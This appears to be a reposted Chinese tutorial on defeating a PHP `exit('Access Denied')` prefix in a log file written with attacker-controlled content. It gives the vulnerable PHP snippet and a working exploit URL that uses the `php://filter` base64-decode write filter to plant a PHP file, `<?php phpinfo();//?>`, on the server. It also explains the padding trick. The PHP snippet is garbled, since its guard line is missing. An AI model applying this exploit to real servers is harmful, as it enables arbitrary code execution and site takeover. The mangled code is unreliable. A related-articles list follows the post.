绕过'Access Denied'的方法
程序员文章站
2022-06-02 20:17:55
...
经常会碰到'Access Denied',如何绕过呢?请详细阅读本文作者带来的小技巧。 register_globals = On ? php $sqlcontent = ?PHPexit('AccessDenied');? . $p . \n ; file_put_contents ( $logfile , $sqlcontent ); ? exp-demo.php?logfile=php://filter/writ
经常会碰到'Access Denied',如何绕过呢?请详细阅读本文作者带来的小技巧。
register_globals = On
- php
- $sqlcontent = "".$p."\n";
- file_put_contents($logfile, $sqlcontent);
- ?>
exp-demo.php?logfile=php://filter/write=convert.base64-decode/resource=abc.php&p=aPD9waHAgcGhwaW5mbygpOy8vPz4=
base64-decode会掉过不能解码的特殊字符,变成PHPexitAccessDenied,Base64编码要求把3个8位字节(3*8=24)转化为4个6位的字节(4*6=24),保证能顺利解码补齐字符随便加个a补齐20位。(利用 base64 发生乱码)
参考
http://marc.info/?l=full-disclosure&m=126034719521671&w=2
http://docs.php.net/manual/zh/filters.convert.php
上一篇: 大米的营养成分可以带给人体哪些好处?
推荐阅读
-
ACCESS 调用后台存储过程的实现方法
-
保护Access2000数据库的安全方法
-
PHP has encountered an Access Violation 错误的解决方法_PHP教程
-
Linux连接mysql报错:Access denied for user ‘root’@‘localhost’(using password: YES)的解决
-
解决EXC_BAD_ACCESS错误的一种方法--NSZombieEnabled
-
Java访问Access的一般方法介绍
-
Docker容器安装的mysql ERROR 1045 (28000): Access denied for user 'root'@'localhost'
-
用ADODB来让PHP操作ACCESS数据库的方法
-
ASP连接Access数据库的几种方法
-
验证码被绕过的处理方法_PHP教程